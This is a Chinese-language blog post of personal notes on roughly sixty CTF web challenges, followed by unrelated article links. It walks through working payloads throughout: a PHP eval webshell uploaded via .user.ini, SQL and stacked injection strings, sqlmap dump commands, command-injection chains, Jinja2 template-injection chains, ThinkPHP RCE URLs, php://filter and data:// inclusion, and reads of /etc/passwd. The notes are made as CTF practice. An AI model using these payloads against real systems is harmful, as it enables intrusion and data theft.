webctf

news2024/11/16 0:54:50
  1. 熟悉robots.txt协议,可能存在一些敏感信息(sql在登录时候的万能密码a’ or true#)
  2. 熟悉phps文件,phps文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到 php 文件的来内容,所以需要用 phps 文件代替,直接在网站输入index.phps,得到一个网页,然后进行代码审计,url解码是%+字符的十六进制,$-GET会进行一次解码,所以要进行两次解码
  3. 魔术函数,在执行反序列化时,会先调用wakeup(),当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup(),

可以构造urlhttp://111.198.29.45:30940?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

  1. 通过bp进行暴力破解,对于id的不同取值看返回包的长度
  2. 禁用了右键查看源代码,可以使用f12查看源代码得到flag
  3. 使用hackbar进行post请求参数的提交
  4. 熟悉robots协议
  5. 常用的备份文件 .git .svn .swp .svn .~ .bak .bash_history,如index.php.bak
  6. 熟悉cookie
  7. 如果禁用了f12,不能查看源代码,可以在浏览前地址栏前面输入view-source:
  8. 可以通过检查更改前端的某些限制,从而进行绕过,或者进行代码审计
  9. 使用burpsuite对密码进行爆破
  10. Php中的弱类型比较
  11. Web的头部字段也可能会包含flag
  12. 基于get的sql注入,可以使用sqlmap,万能密码1’ or 1=1 --+也可以使用简单的sql注入语句
  13. 可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。先新建.user.ini里面写入

GIF89a

auto_prepend_file=a.jpg

同时新建一个txt文档里面写入

GIF89a

<?=eval($_REQUEST[‘cmd’]);?> 然后修改后缀为a.jpg修改好以后先上传.user.ini文件

利用burp抓包,修改Content-Type类型为image/gif,这样就可以成功上传.user.ini文件,然后直接上传1.gif文件。输入f12选择网络,查看文件上传的存储地址

再使用蚁剑进行连接,密码为cmd,查找信息得到flag

  1. 主要是认识php伪协议

在cookie那里构建

language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag,直接进行访问flag.php可能会不成功。php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。

例如读取文件:php://filter/read=convert.base64-encode/resource=index.php读取上级目录文件:php://filter/read=convert.base64-encode/resource=…/…/…/a.txt读取其他的文件:php://filter/read=convert.base64-encode/resource=F:\b.txt

  1. 在hackbar上输

入?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

Post data:hello ctf=hello ctf,因为hackbar上只能以键值对的形式进行输入,然后在bp上修改,只保留hello ctf

data协议是写协议 filter协议是读协议

方式二:

  1. 主要还是代码审计部分,要熟悉很多的php函数

$c["n"][0])取c中n数组的第一个值

由上可知可以构造

payload:?a=1e9&b=53724&c={m:2023c;n:[[],0]}

  1. 熟悉php伪协议,有些关键字可能会被过滤掉(注意有些情况可以删除掉read)

构造payload:filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

Convert用法有两种方式

convert.iconv.<input-encoding>.<output-encoding>

or

convert.iconv.<input-encoding>/<output-encoding>

<output-encoding> 的选择将会直接影响flag的显示形式

可以使用bp来进行爆破,选择集束炸弹,给两个位置添加密码本,已下载

Utf-8.utf-7

  1. 还是php的代码审计部分

Construct()在对象创建时被调用,destruct()在python脚本结束时被调用,wakeup方法在反序列化时被调用,tostring在对象被当作一个字符串使用时被调用

当某些关键字被过滤时,可以选择使用\,””如ls,l\s,l””s空格被过滤可以使用${IFS}

/被过滤可以使用$(printf${IFS}”\57”)绕过

function __destruct() {

    if (in_array($this->method, array("ping"))) {

        call_user_func_array(array($this, $this->method), $this->args);

    }

}在对象被摧毁时被调用,如果 $this->method 的值在指定的数组中(即 "ping"),那么 call_user_func_array() 将调用 $this->method 方法,并将 $this->args 作为参数传递给该方法。

Php中新建一个对象:$a = new ease(‘ping’,array(‘ls’))

还有一个:如果题目给出的是先base64解码再进行反序列化,那么构造的payload需要先序列化再进行base64编码

如果cat某个文件没有得到回显,可能这是个目录

  1. 直接通过sqlmap得到flag,

python sqlmap.py "http://61.147.171.105:65374/" --data="search=1" -D news -T secret_table -C fl14g --dump

  1. 先上传一张木马图片,然后抓包,将图片其改成php后缀,而不是改成content-type,前端页面直接给出了文件的存储地址,使用蚁剑进行连接,记着点添加,而不是测试连接
  1. 熟悉xff和referer
  2. 命令注入漏洞使用&进行命令拼接

127.0.0.1;ls:  ;表示顺序执行,命令之间顺序关系没有

127.0.0.1 && find / -name “flag.*”

127.0.0.1 && ls /:列出根目录下的所有文件

空格如果被过滤

  1. 给出了加密算法写出解密算法
  2. 主要是python的模板注入

模板注入可以先进行进行测试:/{{7*7}},如果页面回传显示里面的公式被执行了,那么就说明了存在模板注入

查找有无可执行os的类,使用python脚本(71是通过python脚本找出来的索引)

找到后列出目录

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

查看文件

读取文件

{{''.__class__.__mro__[2].__subclasses__()[40]('index.py').read()}}

  1. Php反序列化漏洞,要对其进行base64加密

这个是题目

这个是解法

当输入?

var=’TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=='

会先进行base64解码,然后进行正则匹配,通过后对其反序列化,发现属性值的个数大于真正的属性值个数,因此会跳过wakeup函数,当对象销毁后,执行destruct函数,

  1. 主要是thinkphp漏洞

构造payload:php_rce

http://111.198.29.45:46140/index.php?s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=111(var_dump打印变量的相关信息)

s=index/\think\Request/input&data=phpinfo()&filter=assert:打印phpinfo()

php_rce

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir:打印目录

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag":查找flag

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

  1. 构造payload,使用文件包含

Show-source(_FILE_):显示当前php文件的源代码,即使客户端可以看到完整的代码

使用了strstr函数检测$page变量中是否包含字符串php://,如果有则将其替换为空字符串

虽然过滤了php://input,但是可以使用下面的payload进行绕过

?page=data://text/plain,<?php system("ls");?>

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php");?>

  1. 通过堆叠注入进行

发现使用--+,会报错,使用#不会报错,使用单引号会报错,并且使用联合查询过滤了某些关键字

此时可以尝试使用堆叠注入

显示数据库:1;show databases;#

查表:;show tables from supersqli;#

分别查询两个表的字段(表名要加上反引号):

; show columns from `1919810931114514` ;#

; show columns from `words` ;#

查看flag:1’ or 1=1 #

方法二.

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

方法三:handler `1919810931114514` open as `a`;handler `a` read next;

  1. Php代码审计后得到答案,打开网页是一张图片,检查源代码发现有source.php,打开source.php

mb_strpos($page . '?', '?'):

表示查找 $page 字符串中第一个出现 ? 的位置。

通过在 $page 后面拼接一个 '?' 字符(即 $page . '?'),如果 $page 本身不包含 ?,mb_strpos 会返回整个字符串的长度

mb_substr($page, 0, ...) 表示从 $page 字符串的开头(索引 0)开始提取一部分内容。

  1. 这个真不会catcatnew,
  2. 本题主要用到了git泄露

使用dirsearch进行目录爆破(在python312这个目录下输入cmd)

Python dirsearch.py -u http:xxx/xxxx

使用githack.py进行git泄露(在python27这个目录下输入cmd)

Python GitHack.py http://xxx/.git/

打开本地,发现所有的文件

打开api.php文件发现,里面有一段是抽奖的代码,主要是通过输入的数据和这里的随机数

进行比较,看相等的数字,中的钱就越大,应用了弱比较==,这里没有进行任何过滤,可

以用true绕过

requests是json格式的比较彩票数字与用户数字采用==弱比较

而且是一位一位的比较的由于 json 支持布尔型数据,那么就可以构造一串数组

[true,true,true,true,true,true,true]传入了

  1. 首先检查源代码,发现了一个index.php,但是只显示了ok,使用php://filter读取index.php里面的内容

?page=php://filter/read=convert.base64-encode/resource=index.php

出现了一段base64编码解码后发现了一个关键部分

可以先抓包,加入x-forwarded-for:127.0.0.1

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行

不要page参数了,添加X-Forwarded-For:127.0.0.1,页面出现welcome my admin!因此,可以构造payload

/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc

35.首先,观察网页及源代码,可以得到一些信息该网站是用git托管源码,以及用PHP编写

并且有一个flag文件(猜测后缀为.PHP),使用githack进行破解

用kali打开下载后的文档,发现当中有一个叫做flag的文档,但是查看以后发现什么都没有,应该是需要经过游览器特定的转换才能够看到这个文件

这个代码是核心部分,可以构造payload进行绕过, 由于之前git漏洞下载对文件,我们已经知道了flag位于/templates/flag.php路径下,所以payload的构建可以直接一步到位,不用再用system('ls+xxx')回显路径,最后的payload

/?page=').system('cat+./templates/flag.php');// 

当进行这样的构造时

36.从这个标题来看,考的点应该是跟JavaScript有关的,肯定一进去必须要打开F12,因为html css JavaScript都是跟网页有关的

37.

发现msg是可以进行更改的,那么我们进行ttsi模板注入检测,并没有发现可以使用的

(使用tplmap)

tqlmap用法

在Tornado里,应用的设置可以通过handler.settings访问。拿到cookie

  1. 打开是一段源代码

可以构造payload

{{url_for.__globals__['current_app'].config}}

  1. 首先进行注册和登录,发现只有那个no参数有点可疑

之后猜解字段数,输入一个不存在的编号2

不用load_file,继续注入下去。现在已经拿到了数据库名:fakebook,接下来拿表名:

view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

  1. 打开网页,发现下面有一行提示,你不是内部用户

直接尝试在用户名密码处进行注入点测试,发现用单引号,双引号,括号都没有反应,右键查看源码,发现use.php注释

编写payload脚本,实现内部访问:

substr((SELECT flag from flag),30,32):表示从flag字段的值中,从第30个字符开始,截取长度为32的子字符串。

41.

输入127.0.0.1,成功ping通,但是后面接上命令注入发现有些被过滤掉了

此时发现url处存在编码

Url=%80

构造payload:?url=@/opt/api/database.sqlite3

找到flag

42.

Payload:http://111.200.241.244:62326/register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

43.flatscience,有点看不懂,贴上原有wp吧

(https://blog.csdn.net/hxhxhxhxx/article/details/107846000)

  1. 这题跟前面的题目差不太多,主要是iconv
  2. 网站目录爆破,发现flag.html,直接访问http://61.147.171.105:63902/flag.html,发现进行了重定向,需要burp抓包才行

46.

编译运行即可得到flag

47.这题主要是javascript的原型污染

当勾选is admin,会要求推送一个邀请码,此时进行抓包

然后将其改成

即可得到flag

  1. Bug(逻辑漏洞)

注意那个do=???,可能是会要求做一个动作,尝试几次后,将其改为upload

注意:直接改成php会被过滤,可以设置成php5

Png图片里的内容:

<script language=”php”>system(“ls”)</script>

  1. 查看源代码
  1. Unfinish(有点没看懂https://www.cnblogs.com/zhengna/p/13595290.html)

使用awvs进行扫描,已下载,使用教程可以看

Awvs详细使用教程_awvs使用教程-CSDN博客

51.

52.

53.

之后构造payload:?url=file:///flag

54.

然后试着上传shell,上传后发现不能访问,审计源码

脚本使用条件竞争的脚本

先利用bp一直post那个文件

55.

Payload:

O:3:"SQL":4:{s:5:"table";s:41:"(select 'admin' username,'123'

password)a";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}

56.

注意:这个是关键,就是说写入的这个captcha要满足上面的这个等式,直接用gpt

然后试着读取文件file:///etc/passwd

可以成功读取

但是没有办法读取file:///flag,猜测flag可能被过滤掉了,可以对flag进行url编码

编码之后

file:///%66%6c%61%67

  1. i-got-id-200
  2. Zhuanxv

使用dirsearch扫描发现隐藏目录list

python3 dirsearch.py -u http://220.249.52.133:43210/ -e *

抓包发现背景图片是从后台加载的一张图片

59.wtf.sh-150

打开题目很像一个论坛,随便打开一个页面试试看能不能注入

这里使用../而不是.../

点击进入admin的post,然后修改USERNAME=admin,TOKEN为admin的token

得到了flag的前半部分,后面的部分也是没怎么看懂,看这个吧(https://blog.csdn.net/hxhxhxhxx/article/details/108098586)

60.web_php_wrong_nginx_config

发现成功登陆了

进去瞎点一通,发现只有管理中心可以改变url

发现无论加多少../均不能,猜测是被过滤了

弹出了nginx的配置信息

后面的部分就是代码部分了,是真心看不懂

(https://blog.csdn.net/l8947943/article/details/122292321)

  1. Comment

后面的部分也是很多没看懂,只能看看大神们的解题过程了

62后面的都挺难的 根本都看不懂了

SQL注入

Select *,1 from flag:将从名为 flag 的表中选择所有列,并为每一行添加一个值为 1 的额外列。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2126897.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

力扣279-完全平方数(Java详细题解)

题目链接&#xff1a;279. 完全平方数 - 力扣&#xff08;LeetCode&#xff09; 前情提要&#xff1a; 因为本人最近都来刷dp类的题目所以该题就默认用dp方法来做。 最近刚学完背包&#xff0c;所以现在的题解都是以背包问题为基础再来写的。 如果大家不懂背包问题的话&…

测试阶段例题

答案&#xff1a;D 测试阶段划分 单元测试 模块测试&#xff0c;模块功能&#xff0c;性能&#xff0c;接口等 集成测试 模块间的接口 系统测试 真实环境下&#xff0c;验证完整的软件配置能否和系统正确连接 确认测试 验证软件与需求的一致性。内部确认测试&#xff0…

k8s独立组件ingress,七层转发

一、K8S的Service 1、Service的作用 Service的作用体现在两个方面&#xff1a; 1、集群内部&#xff1a;不断跟踪pod的变化&#xff0c;更新endpoints中的pod对象&#xff0c;基于pod的IP地址不断变化的一种服务发现机制&#xff0c;也可以实现负载均衡&#xff0c;四层代理…

vue element时间选择不能超过今天 时间选中长度不能超过7天

背景&#xff1a; 使用elenmet plus 组件实现时间选择&#xff1b;且日期时间选择不能超过今天&#xff1b;连续选中时间的长度范围不能超过7天 效果展示&#xff1a; 实现思路&#xff1a; 一、使用element组件自带的属性和方法&#xff1b; :disabled-date"disabledDate…

misc音频隐写

一、MP3隐写 &#xff08;1&#xff09;题解&#xff1a;下载附件之后是一个mp3的音频文件&#xff1b;并且题目提示keysyclovergeek;所以直接使用MP3stego对音频文件进行解密&#xff1b;mp3stego工具是音频数据分析与隐写工具 &#xff08;2)mp3stego工具的使用&#xff1a;…

QT 绘制简易时钟

原文件 #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);this->startTimer(1000); }Widget::~Widget() {delete ui; }//时钟底座 void Widget::paintEvent(Q…

景联文科技:专业扫地机器人数据采集标注服务

景联文科技作为一家专业AI数据采集标注公司&#xff0c;提供高质量数据支持&#xff0c;致力于帮助扫地机器人制造商和研发机构提升产品的智能水平和用户体验。 扫地机器人需要通过大量的环境数据来训练其导航和清洁算法。高质量标注数据是确保机器人在各种环境下高效工作的关键…

二百六十三、Java——IDEA项目打成jar包,然后在Linux中运行

一、目的 在用Java对原Kafka的JSON字段解析成一条条数据&#xff0c;然后写入另一个Kafka中&#xff0c;代码写完后打成jar包&#xff0c;放在Linux中&#xff0c;直接用海豚调度运行 二、Java利用fastjson解析复杂嵌套json字符串 这一块主要是参考了这个文档&#xff0c;然…

vite+vue3快速构建项目+router、vuex、scss安装

安装 Vite npm install -g create-vite-app创建vue3项目 npm init vitelatestnpm i安装依赖 安装veux、router npm install vue-router vuex新建router/index.js&#xff08;自己创建home、login对应页面文件&#xff09; import { createRouter, createWebHistory } from…

针对SVM算法初步研究

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd;心态决定高度&#xff0c;细节决定成败…

Linux系统:mkdir命令

1、命令详解&#xff1a; mkdir命令是用来创建目录的&#xff0c;是make directory的缩写。 2、语法&#xff1a; mkdir [选项] 目录名 3、官方参数&#xff1a; 选项&#xff1a;-m, --modeMODE 设置新创建目录或文件的权限模式-p, --parents 创建多级目…

SEO之页面优化(一-页面标题)

初创企业搭建网站的朋友看1号文章&#xff1b;想学习云计算&#xff0c;怎么入门看2号文章谢谢支持&#xff1a; 1、我给不会敲代码又想搭建网站的人建议 2、“新手上云”能够为你开启探索云世界的第一步 博客&#xff1a;阿幸SEO~探索搜索排名之道 现在讨论页面本身可以优化…

基于zabbix实现监控Jenkins过程---超详细

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

【Lua学习】Lua最最基础的

Lua是什么&#xff1f; Lua是一种强大、高效、轻量级、可嵌入的脚本语言。它支持过程式编程、面向对象编程、函数式编程、数据驱动编程和数据描述。 Lua将简单的过程式语法与基于关联数组和可扩展语义的强大数据描述构造相结合。Lua是动态类型的&#xff0c;通过基于寄存器的虚…

C++ IO流全解析:标准库中的数据处理与文件读写艺术

&#x1f308; 个人主页&#xff1a;Zfox_ &#x1f525; 系列专栏&#xff1a;C从入门到精通 目录 一&#xff1a; &#x1f525; C语言的输入与输出 二&#xff1a; &#x1f525; 流是什么 三&#xff1a; &#x1f525; CIO流&#x1f680; 3.1 C标准IO流&#x1f680; ist…

<<编码>> 第 10 章 逻辑与开关(Logic and Switches) 示例电路

串联电路 info::操作说明 鼠标单击开关切换开合状态 需要两个开关同时闭合才能接通电路 primary::在线交互操作链接 https://cc.xiaogd.net/?startCircuitLinkhttps://book.xiaogd.net/code-hlchs-examples/assets/circuit/code-hlchs-ch10-01-series-circuit.txt 并联电路 in…

windows下 MySQL8.4.2 LTS 解压版的安装使用

目录 一、下载二、解压三、创建 my.ini 文件四、安装 一、下载 下载地址&#xff1a;https://dev.mysql.com/downloads/mysql/ 二、解压 将下载包解压到 D 盘&#xff1a; 三、创建 my.ini 文件 D:\mysql-8.4.2-winx64 目录下创建 my.ini 文件&#xff1a; [mysql] # …

前端Vue框架实现html页面输出pdf(html2canvas,jspdf)

代码demo&#xff1a; <template><el-dialog class"storageExportDialog" :fullscreen"true" title"" :visible.sync"visible" v-if"visible" width"600px"><div id"exportContainer" …

第二期: 第一节 环境的搭建

1 找一个虚拟机。 下载工具链&#xff0c; 源码。 可以看到这个压缩包里&#xff0c;有 uboot kernel 工具链 &#xff0c;都有了。 将工具链 拷贝到 /usr/local/arm 目录下。 更改 .bashrc 2 先编译一遍&#xff0c;确定环境没问题。 压缩包里 有一个 uboot , kernle 一起…

unity3d入门教程二

unity3d入门教程二 5.1游戏对象5.2对象的显示顺序5.3对象的轴心5.4对象的父子关系6.1图片素材的准备6.2图片的切割6.3图片与渲染器7.1组件7.2transform组件 5.1游戏对象 游戏制作是在编辑器中进行的 游戏脚本是进行控制对象移动的 5.2对象的显示顺序 方法1&#xff1a;调整 Or…